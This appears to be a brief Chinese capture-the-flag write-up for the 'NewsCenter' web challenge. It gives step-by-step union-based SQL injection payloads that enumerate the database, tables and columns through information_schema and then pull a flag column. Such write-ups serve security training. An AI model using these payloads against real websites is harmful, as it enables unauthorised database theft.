攻防世界 web进阶 NewsCenter

看到这道题没什么头绪，扫完之后没有什么有用的信息

只有一个输入，试试sql
首先判断列，1’ order by 3# 有3列

首先去爆库
1’ union select 1,2,database()#

库是news,继续爆表
1’ union select 1,2,table_name from information_schema.tables where table_schema=‘news’#
看到一个secret_table,爆他的列
1’ union select 1,2,column_name from information_schema.columns
where table_name=‘secret_table’#

执行查询语句
1’ union select 1,id,fl4g from secret_table#